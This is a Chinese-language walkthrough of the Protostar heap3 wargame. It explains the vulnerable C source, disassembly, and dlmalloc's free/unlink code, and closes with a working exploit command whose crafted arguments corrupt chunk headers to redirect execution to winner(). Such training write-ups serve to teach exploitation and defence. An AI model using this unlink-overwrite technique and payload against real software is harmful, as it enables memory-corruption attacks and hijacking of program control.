protostar详细解析 heap3-通过heap3理解堆腐坏的原理及利用方法

1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{

printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{

char *a, *b, *c;

a = malloc(32);
b = malloc(32);
c = malloc(32);

strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);

free(c);
free(b);
free(a);

printf("dynamite failed?\n");
}

2 基础知识

​ 1.DWORDSHOOT

​ 需要了解DWORDSHOOT基本原理,heap3最后是使用了free时触发unlink来实现任意地址修 改,实现控制程序执行流程的。DWORDSHOOT的原理,再另外一篇文章中已经有比较详细的介绍了。

DWORDSHOOT

​ 2.DLMALLOC

​ 了解malloc库的基本原理,从而明白如何通过free来触发unlink从而完成溢出。

malloc.c[翻译中]空闲时间会持续翻译。

dlmalloc作者自己写的文章。其中与我们特别相关的是free算法于bins。这里先简单介绍一下bins。

bins结构图

3 调试

​ 使用gdb查看汇编代码。

1
gdb$ disas main
Dump of assembler code for function main:
0x08048889 <main+0>:	push   ebp
0x0804888a <main+1>:	mov    ebp,esp
0x0804888c <main+3>:	and    esp,0xfffffff0
0x0804888f <main+6>:	sub    esp,0x20
0x08048892 <main+9>:	mov    DWORD PTR [esp],0x20
0x08048899 <main+16>:	call   0x8048ff2 <malloc>
0x0804889e <main+21>:	mov    DWORD PTR [esp+0x14],eax
0x080488a2 <main+25>:	mov    DWORD PTR [esp],0x20
0x080488a9 <main+32>:	call   0x8048ff2 <malloc>
0x080488ae <main+37>:	mov    DWORD PTR [esp+0x18],eax
0x080488b2 <main+41>:	mov    DWORD PTR [esp],0x20
0x080488b9 <main+48>:	call   0x8048ff2 <malloc>
0x080488be <main+53>:	mov    DWORD PTR [esp+0x1c],eax
0x080488c2 <main+57>:	mov    eax,DWORD PTR [ebp+0xc]
0x080488c5 <main+60>:	add    eax,0x4
0x080488c8 <main+63>:	mov    eax,DWORD PTR [eax]
0x080488ca <main+65>:	mov    DWORD PTR [esp+0x4],eax
0x080488ce <main+69>:	mov    eax,DWORD PTR [esp+0x14]
0x080488d2 <main+73>:	mov    DWORD PTR [esp],eax
0x080488d5 <main+76>:	call   0x8048750 <strcpy@plt>
0x080488da <main+81>:	mov    eax,DWORD PTR [ebp+0xc]
0x080488dd <main+84>:	add    eax,0x8
0x080488e0 <main+87>:	mov    eax,DWORD PTR [eax]
0x080488e2 <main+89>:	mov    DWORD PTR [esp+0x4],eax
0x080488e6 <main+93>:	mov    eax,DWORD PTR [esp+0x18]
0x080488ea <main+97>:	mov    DWORD PTR [esp],eax
0x080488ed <main+100>:	call   0x8048750 <strcpy@plt>
0x080488f2 <main+105>:	mov    eax,DWORD PTR [ebp+0xc]
0x080488f5 <main+108>:	add    eax,0xc
0x080488f8 <main+111>:	mov    eax,DWORD PTR [eax]
0x080488fa <main+113>:	mov    DWORD PTR [esp+0x4],eax
0x080488fe <main+117>:	mov    eax,DWORD PTR [esp+0x1c]
0x08048902 <main+121>:	mov    DWORD PTR [esp],eax
0x08048905 <main+124>:	call   0x8048750 <strcpy@plt>
0x0804890a <main+129>:	mov    eax,DWORD PTR [esp+0x1c]
0x0804890e <main+133>:	mov    DWORD PTR [esp],eax
0x08048911 <main+136>:	call   0x8049824 <free>
0x08048916 <main+141>:	mov    eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>:	mov    DWORD PTR [esp],eax
0x0804891d <main+148>:	call   0x8049824 <free>
0x08048922 <main+153>:	mov    eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>:	mov    DWORD PTR [esp],eax
0x08048929 <main+160>:	call   0x8049824 <free>
0x0804892e <main+165>:	mov    DWORD PTR [esp],0x804ac27
0x08048935 <main+172>:	call   0x8048790 <puts@plt>
0x0804893a <main+177>:	leave  
0x0804893b <main+178>:	ret

在第一个free和ret之前分别下断点,观察堆上数据。具体如下图所示:

Image text

现在我们去分析malloc.c源码的free部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
void dlfree(void* mem) {
/*
Consolidate freed chunks with preceeding or succeeding bordering
free chunks, if they exist, and then place in a bin. Intermixed
with special cases for top, dv, mmapped chunks, and usage errors.
*/


if (mem != 0) {
mchunkptr p = mem2chunk(mem); //将user使用的内存地址转化为chunk所指向的地址。

#if FOOTERS
mstate fm = get_mstate_for(p);
if (!ok_magic(fm)) {
USAGE_ERROR_ACTION(fm, p);
return;
}
#else /* FOOTERS */
#define fm gm
#endif /* FOOTERS */
if (!PREACTION(fm)) {

check_inuse_chunk(fm, p);
//所有相关字段的检测,与主题逻辑无关。

if (RTCHECK(ok_address(fm, p) && ok_inuse(p))) {
//检测地址与内存使用状态是否合法。

size_t psize = chunksize(p);
//通过p->head计算chunk的长度。

mchunkptr next = chunk_plus_offset(p, psize);
//通过p指针与求得的size计算nextchunk。

if (!pinuse(p)) {
//如果内存块正没有被使用。

size_t prevsize = p->prev_foot;
// 获取前一个chunk块的长度。

/*这一段是mapped可不看--------start-------*/
if (is_mmapped(p)) {
psize += prevsize + MMAP_FOOT_PAD;
if (CALL_MUNMAP((char*)p - prevsize, psize) == 0)
fm->footprint -= psize;
goto postaction;
}
/*这一段是mapped可不看--------end-------*/
else {
//内存快不是mapped分配的
mchunkptr prev = chunk_minus_offset(p, prevsize);
//chunk指针减去前一个chunk的长度获得前一个chunk的开始地址
psize += prevsize;
p = prev;
//重新计算chunk长度,将指针指向前一个chunk开始的地方。
if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */
if (p != fm->dv) {
//核心关键,进入了unlink流程。将修改后的p从双向链表中unlink下来。
unlink_chunk(fm, p, prevsize);
}
else if ((next->head & INUSE_BITS) == INUSE_BITS) {
fm->dvsize = psize;
set_free_with_pinuse(p, psize, next);
goto postaction;
}
}
else
goto erroraction;
}
}

...
}

根据源码,简单的流程如下图所示。

free简易流程图

那么正常情况下free(c)代码执行时,对流程的分析如下图所示。

正常情况下的free(c)

而在对输入的参数精心构筑之后溢出后的流程分析如下图所示。

溢出后的free(c)

所以此题的答案也就出来了。

1
2
user@protostar:/tmp$ ./bin/heap3 `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F
that wasn't too bad now, was it? @ 1449484612

具体的shellcode地址,DWORDSHOOT如何构建,再之前的基础学习之后应该不需要想家复述,如有不明看这里

文章目录
  1. 1. 1 源码
  2. 2. 2 基础知识
  3. 3. 3 调试
,